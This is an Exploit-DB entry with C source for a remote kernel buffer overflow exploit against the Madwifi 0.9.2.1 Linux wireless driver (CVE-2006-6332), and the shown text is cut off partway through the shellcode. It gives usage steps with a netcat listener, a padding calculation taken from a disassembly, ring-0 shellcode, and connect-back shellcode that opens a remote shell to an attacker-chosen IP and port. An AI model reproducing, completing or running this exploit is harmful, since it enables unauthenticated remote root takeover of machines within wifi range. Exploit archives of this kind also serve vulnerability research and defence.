Exploit-DB #3389
Description: Madwifi 0.9.2.1 - WPA/RSN IE Remote Kernel Buffer Overflow
Type: remote
Platform: linux
Date: 2007-03-01
Author: Massimiliano Oldani

Exploit:
/* ----  madwifi WPA/RSN IE remote kernel buffer overflow  ------
 * expoit code by:   sgrakkyu <at> antifork.org -- 10/1/2007
 * 
 * CVE: 2006-6332 (Laurent BUTTI, Jerome RAZNIEWSKI, Julien TINNES)
 * 
 * (for wpa)
 * ....
 * memcpy(buf, se->se_wpa_ie, se->se_wpa_ie[1] + 2) 
 * ....
 * ....
 * the function re-uses args in the stack before returning so we 
 * can't trash them overwriting. 
 * Different compiled module [ex. different version of gcc] may require 
 * a different pad value.. (see -g option)
 *
 * ex:
 * on one terminal runs: nc -l -p 31337 
 * phi:~/kexec/lorcon# gcc -g -o madwifi_exp madwifi_exp.c -lorcon
 * phi:~/kexec/lorcon# wlanconfig ath1 create wlandev wifi0 wlanmode monitor
 * phi:~/kexec/lorcon# ifconfig ath1 up
 * phi:~/kexec/lorcon# ./madwifi_exp -i ath1 -d madwifing -a 10.0.0.1 -p 31337
 * [opt-ip]: 10.0.0.1
 * [opt-port]: 31337
 * [opt-iface]: ath1
 * [opt-driver]: madwifing
 * [opt-jump]: 0xffffe777
 * [pad]: 36
 *
 * [*][Low Avail Byte]: 103
 * [*][High Avail Byte]: 47
 * [*][u_code[] (high)size]: 91, [ring0_code[] (low)size]: 47
 * [*][ patching jump ]: [eba7]
 * [*][Payload space]: 192
 * [*][beacon_frame-80211]=54
 * [*][beacon_WPA_IE_lenght]: 198
 *
 * [printing frame - start]
 *   80 00 00 00 ff ff ff ff ff ff cc cc cc cc cc cc
 *   cc cc cc cc cc cc 00 00 00 00 00 00 00 00 00 00
 *   64 00 01 00 00 03 41 41 41 01 08 82 84 8b 96 0c
 *   18 30 48 03 01 0b dd c6 00 50 f2 01 01 00 90 90
 *   90 90 90 90 90 90 90 90 90 90 31 c0 89 c3 40 40
 *   ....
 *   ....
 *
 *
 * Tuning option:
 * - depending on gcc version/optimization we have to change the padding of vector
 *   payload, take a look to the following disassembly of the module wlan.o compiled
 *   with gcc-4.0 (kernel compiled for i586):
 *
 *  00015a49 <giwscan_cb>:
 *  15a49:       55                      push   %ebp
 *  15a4a:       57                      push   %edi
 *  15a4b:       56                      push   %esi
 *  15a4c:       53                      push   %ebx
 *  15a4d:       81 ec c4 00 00 00       sub    $0xbc,%esp <--16+188=[204]
 *  .........
 *  .........
 *  .........
 *  15fc3:       8d 54 24 12             lea    0xa(%esp),%edx <-esp+[10]
 *  15fc7:       89 d7                   mov    %edx,%edi
 *  ...
 *  ...
 *  15fd5:       f3 a5                   rep movsl %ds:(%esi),%es:(%edi)
 *     
 * 
 * this is not a rule, check gcc generated code to calculate correct pad value :
 * [startbuf-ret] = (16 + 188 - 10) = 194 byte
 * PAD = 194 - SHELLCODE_SPACE - IEWPAheader(code,len,oui) = 194 - 150 - 8 = 36
 * ( -g 36 would be the choice in that case)
 *   
 *   NOTE: 1) the remote box must call the ioctl() SIOCGIWSCAN
 *            for ex. when the iface gets up or during iwlist iface scanning
 *            command
 *
 *         2) if you need more space for kernel mode code you can rely on
 *             struct ieee80211_scan_entry paramter of gwiscan_cb()
 *             function to access the real frame (a trivial joke)
 *
 *         3) i had no time to test this exploit on other boxes..:
 *            tested only on:  Slackware 10 -  madwifi 0.9.2
 *                             Kubuntu - kernel 2.6.17 - madwifi 0.9.2
 *
 *
 *  TNX TNX TNX  twiz <at> antifork.org
 */


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <getopt.h>
#include <netinet/in.h>
#include <sys/socket.h>

#include <tx80211.h>
#include <tx80211_packet.h>
#include <linux/wireless.h>
#include <arpa/inet.h>


/* 2.6.17 VSYSCALL: for >= 2.6.18 without fixed-vsyscall entry use kernel hardcoded value */
#define VSYSCALL_JMP_ESP_OFFSET   0xffffe777
#define IE_ZERO 0x00000000

#define FIX_BYTE(base,offset,byte)   *(((unsigned char*)base) + offset) = byte;
#define FIX_WORD(base,offset,word)   *((unsigned short *)((unsigned char*)base + offset)) = word;
#define FIX_DWORD(base,offset,dword) *((unsigned int *)((unsigned char*)base + offset)) = dword;

/* shellcode max buffer */
/* 8 bytes used for lenght + oui */
#define SHELLCODE_SPACE  150  
#define PAD_SPACE        36

#define PAYLOAD_SPACE    (SHELLCODE_SPACE + pad_space + 4 + 2)
#define TOTAL_PACKET_LEN (sizeof(beacon_80211_wpa) -1 + PAYLOAD_SPACE)

/* exp option */
char *iface = NULL;  /* needed */
char *driver = NULL; /* needed */
char *ip = NULL;     /* needed */
short port = 0;      /* needed */
unsigned int jmp_address = VSYSCALL_JMP_ESP_OFFSET;
unsigned int pad_space = PAD_SPACE;



/* ----------------------------------- */

#define SUB_OFFSET_PATCH 8
char ring0_code[]=
 "\xe8\x00\x00\x00\x00"      //call   8048359 <main+0x21>
 "\x5e"                      //pop    %esi
 "\x81\xee\x88\x00\x00\x00"  //sub    $0x88,%esi  /* PATCH */
 "\x31\xc0"                  //xor    %eax,%eax
 "\xb0\x04"                  //mov    $0x4,%al
 "\x01\xc4"                  //add    %eax,%esp
 "\x83\x3c\x24\x73"          //cmp    $0x73,%esp
 "\x75\xf8"                  //jne    8048364 <main+0x2c>
 "\x83\x7c\x24\x0c\x7b"      //cmpl   $0x7b,0xc(%esp)
 "\x75\xf1"                  //jne    8048364 <main+0x2c>
 "\x29\xc4"                  //sub    %eax,%esp
 "\x8b\x7c\x24\x0c"          //mov    0xc(%esp),%edi
 "\x89\x3c\x24"              //mov    %edi,(%esp)
 "\x31\xc9"                  //xor    %ecx,%ecx
 "\xb1\x5b"                  //mov    $0x5b,%cl /* FIX */
 "\xf3\xa4"                  //rep movsb %ds:(%esi),%es:(%edi)
 "\xcf";                     //iret


/* connect back */
#define IP_OFFSET   35
#define PORT_OFFSET 44
char u_code[] = 
"\x31\xc0\x89\xc3\x40\x40\xcd\x80\x39\xc3\x74\x03\x31\xc0\x40\xcd\x80" /* fork */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x5b\x5d"              
"\xbe"
"\xf5\xff\xff\xfe"  // ~ip
"\xf7\xd6\x56\x66\xbd"
"\x69\x7a"          // port
"\x0f\xcd\x09\xdd\x55\x43\x6a\x10\x51\x50\xb0\x66\x89\xe1\xcd\x80\x87\xd9"   
"\x5b\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x